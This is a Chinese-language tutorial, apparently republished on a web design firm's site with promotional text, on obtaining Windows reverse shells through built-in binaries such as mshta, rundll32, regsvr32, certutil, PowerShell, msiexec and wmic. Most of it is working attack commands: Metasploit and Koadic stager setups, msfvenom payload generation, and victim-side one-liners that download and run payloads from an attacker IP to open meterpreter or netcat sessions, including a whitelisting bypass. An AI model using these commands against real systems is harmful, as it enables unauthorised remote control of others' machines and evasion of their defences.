如何利用Windows one-liner獲取反向Shell,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。
我們擁有10年網(wǎng)頁設(shè)計和網(wǎng)站建設(shè)經(jīng)驗,從網(wǎng)站策劃到網(wǎng)站制作,我們的網(wǎng)頁設(shè)計師為您提供的解決方案。為企業(yè)提供網(wǎng)站設(shè)計制作、成都網(wǎng)站設(shè)計、微信開發(fā)、小程序設(shè)計、成都做手機網(wǎng)站、H5高端網(wǎng)站建設(shè)、等業(yè)務(wù)。無論您有什么樣的網(wǎng)站設(shè)計或者設(shè)計方案要求,我們都將富于創(chuàng)造性的提供專業(yè)設(shè)計服務(wù)并滿足您的需求。
今天我們將討論“Windows One-Liner”,即使用PowerShell或rundll32等惡意命令來獲取Windows系統(tǒng)的反向shell。通常,在濫用HTTP服務(wù)或其他程序時,我們會獲取到RCE漏洞。 這個漏洞將允許你遠程執(zhí)行任意的系統(tǒng)命令。因此,我們準備了一個Windows命令列表,讓你能夠使用目標(biāo)機器來獲取反向連接。
mshta.exe是微軟Windows操作系統(tǒng)相關(guān)程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標(biāo)記語言應(yīng)用,用于執(zhí)行.HTA文件。我們可以運行JavaScript或VBScript的HTML文件。你可以使用Microsoft MSHTA.exe工具解析這些文件。
Metasploit包含一個生成惡意hta文件的“HTA Web Server”模塊。該模塊托管HTML應(yīng)用程序(HTA),打開時將通過Powershell運行payload。當(dāng)用戶導(dǎo)航到HTA文件時,在執(zhí)行payload之前IE將提示兩次。
use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit
現(xiàn)在,讓我們通過受害者機器上的mshta.exe(易受RCE攻擊)運行惡意代碼以獲取meterpreter會話。
一旦你在遠程機器上成功執(zhí)行了惡意hta文件,你將在本地計算機(Kali Linux)上獲得一個反向連接。
mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta
如下所示,我們成功獲取到了受害者機器的meterpreter會話:
Rundll32.exe與Windows系統(tǒng)相關(guān)聯(lián),允許你調(diào)用從DLL導(dǎo)出的函數(shù)(16位或32位)并將其存儲在適當(dāng)?shù)膬?nèi)存庫中。
通過Metasploit的SMB Delivery啟動Rundll32攻擊
Metasploit還包含了生成惡意dll文件的“SMB Delivery”模塊。該模塊通過SMB服務(wù)器提供payload,并提供檢索和執(zhí)行生成payload的命令。目前支持DLL和Powershell。
use exploit/windows/smb/smb_delivery msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109 msf exploit(windows/smb/smb_delivery) > exploit
現(xiàn)在,讓我們通過受害機器上的rundll32.exe運行惡意代碼(易受RCE攻擊)以獲取meterpreter會話。
一旦你在遠程機器上成功執(zhí)行了dll文件,你將在本地計算機(Kali Linux)上獲取到一個反向連接。
rundll32.exe \\192.168.1.109\vabFG\test.dll,0
如下所示,我們成功獲取到了受害者機器的meterpreter會話:
Regsvr32命令用于注冊COM組件,是Windows系統(tǒng)提供的用來向系統(tǒng)注冊控件或者卸載控件的命令,例如Windows注冊表中的DLL和ActiveX控件。Regsvr32.exe安裝在Windows XP及更高版本W(wǎng)indows的%systemroot%\System32文件夾中。
RegSvr32.exe具有以下命令行選項:
Syntax: Regsvr32 [/s][/u] [/n] [/i[:cmdline]]
/u - 取消注冊服務(wù)器
/i - 調(diào)用DllInstall傳遞一個可選的[cmdline];當(dāng)它與/u一起使用時,它會調(diào)用dll來卸載
/n - 不要調(diào)用DllRegisterServer;此選項必須與/i一起使用
/s - 靜默;不顯示消息框
通過Metasploit的Script Web Delivery啟動Regsvr32
該模塊將快速啟動一個為payload提供服務(wù)的Web服務(wù)器,并提供下載和執(zhí)行的命令。它將通過指定的腳本語言解釋器或“squiblydoo”通過regsvr32.exe,繞過應(yīng)用程序白名單。此模塊的主要目的是在攻擊者必須手動鍵入命令時,在目標(biāo)計算機上快速建立會話:如,命令注入。
Regsvr32使用“squiblydoo”技術(shù)繞過應(yīng)用程序白名單。簽名的Microsoft二進制文件Regsvr32能夠請求.sct文件,然后在其中執(zhí)行包含的PowerShell命令。兩個Web請求(即.sct文件和PowerShell下載/執(zhí)行)都可以在同一端口上發(fā)生?!癙SH(Binary)”會將文件寫入磁盤,允許自定義二進制文件被下載/執(zhí)行。
use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 3 msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.1.109 msf exploit (web_delivery)>set srvhost 192.168.1.109 msf exploit (web_delivery)>exploit
復(fù)制以下框中的文本
一旦你在遠程機器上成功執(zhí)行了scrobj.dll文件,你將在本地計算機(Kali Linux)上獲取到一個反向連接。
regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll
如下所示,我們成功獲取到了受害者機器的meterpreter會話:
Certutil.exe是一個命令行程序,作為證書服務(wù)的一部分安裝。 我們可以使用它在目標(biāo)計算機上執(zhí)行我們的惡意exe文件,以獲取meterpreter會話。
通過Msfvenom啟動certutil攻擊
使用msfvenom生成惡意可執(zhí)行(.exe)文件,并啟動multi/handler以獲取受害者計算機的反向shell。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe
現(xiàn)在,使用certutil轉(zhuǎn)儲配置信息或shell.exe文件。你可以遵循以下語法:
Syntax: [-f] [-urlcache] [-split] Path of executable file
certutil.exe -urlcache -split -f //192.168.1.109/shell.exe shell.exe & shell.exe
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
如下所示,我們成功獲取到了受害者機器的meterpreter會話:
你可以使用PowerShell.exe,或從其他工具(如Cmd.exe)啟動PowerShell會話,或是在PowerShell命令行中使用它來啟動新會話。有關(guān)詳情你可以閱讀Microsoft windows官網(wǎng)上的內(nèi)容。
通過Powershell啟動Powercat攻擊
Powercat是一個PowerShell native backdoor listener和reverse shell,被稱之為netcat的修改版,因為它集成了payload編碼,msfvenom會這么做,并且還有一個客戶端到客戶端中繼,允許連接兩個獨立的偵聽器。
在本地計算機上下載PowerShell,然后使用python HTTP server傳輸powercat.ps1以獲取目標(biāo)機器的反向shell,并啟動netcat偵聽器。
git clone //github.com/besimorhino/powercat.git python -m SimpleHTTPServer 80
然后,在遠程端執(zhí)行以下命令獲取netcat會話。
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('//192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"
如下所示,我們獲取到了受害者機器的netcat會話:
同樣,PowerShell允許客戶端執(zhí)行bat文件,因此讓我們使用msfvenom生成惡意批處理文件,并啟動netcat監(jiān)聽器。如下所示:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat
然后,在遠程端執(zhí)行以下命令獲取netcat會話。
powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('//192.168.1.109/1.bat'))
如下所示,我們獲取到了受害者機器的netcat會話:
同樣,PowerShell允許客戶端執(zhí)行cscript.exe來運行wsf,js和vbscript,因此讓我們使用msfvenom生成惡意bat文件,并啟動multi/handler作為偵聽程序。如下所示:
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs
然后,在遠程端執(zhí)行以下命令獲取meterpreter會話。
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('//192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit
如下所示,我們成功獲取到了受害者機器的meterpreter會話:
我們知道Windows操作系統(tǒng)安裝了Windows Installer引擎,MSI Package使用該引擎來安裝應(yīng)用程序。解釋包和安裝產(chǎn)品的可執(zhí)行程序是Msiexec.exe。
通過msfvenom啟動msiexec攻擊
讓我們使用Windows Meterpreter payload生成一個MSI Package文件(1.msi),并啟動multi/handler作為偵聽程序。如下所示:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi
一旦你在遠程機器上成功執(zhí)行了1.msi文件,你將在本地計算機(Kali Linux)上獲取到一個反向連接。
msiexec /q /i //192.168.1.109/1.msi
use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.109 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit
如下所示,我們成功獲取到了受害者機器的meterpreter會話:
wmic.exe是WMI 命令行,作為Windows XP的一部分發(fā)布的WMI命令行工具 (wmic.exe) 提供一個到WMI基礎(chǔ)結(jié)構(gòu)的命令行接口??梢允褂脀mic.exe執(zhí)行來自命令行的常見WMI任務(wù),包括瀏覽CIM和檢CIM類定義。
通過Koadic啟動Wmic.exe攻擊
現(xiàn)在,將在koadic的幫助下生成惡意XSL文件,這是一個命令和控制工具,與Metasploit和Powershell Empire非常相似。有關(guān)詳情請參閱:https://www.hackingarticles.in/koadic-com-command-control-framework/
安裝完成后,你可以運行./koadic文件來啟動koadic,并加載stager/js/wmic stager。運行以下命令并設(shè)置SRVHOST,其中stager應(yīng)調(diào)用home。
use stager/js/wmic set SRVHOST 192.168.1.107 run
執(zhí)行WMIC的以下命令從遠程服務(wù)器下載并運行惡意XSL文件:
wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl"
一旦惡意XSL文件在目標(biāo)機器上成功執(zhí)行,就會獲取到一個Zombie連接。
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對創(chuàng)新互聯(lián)的支持。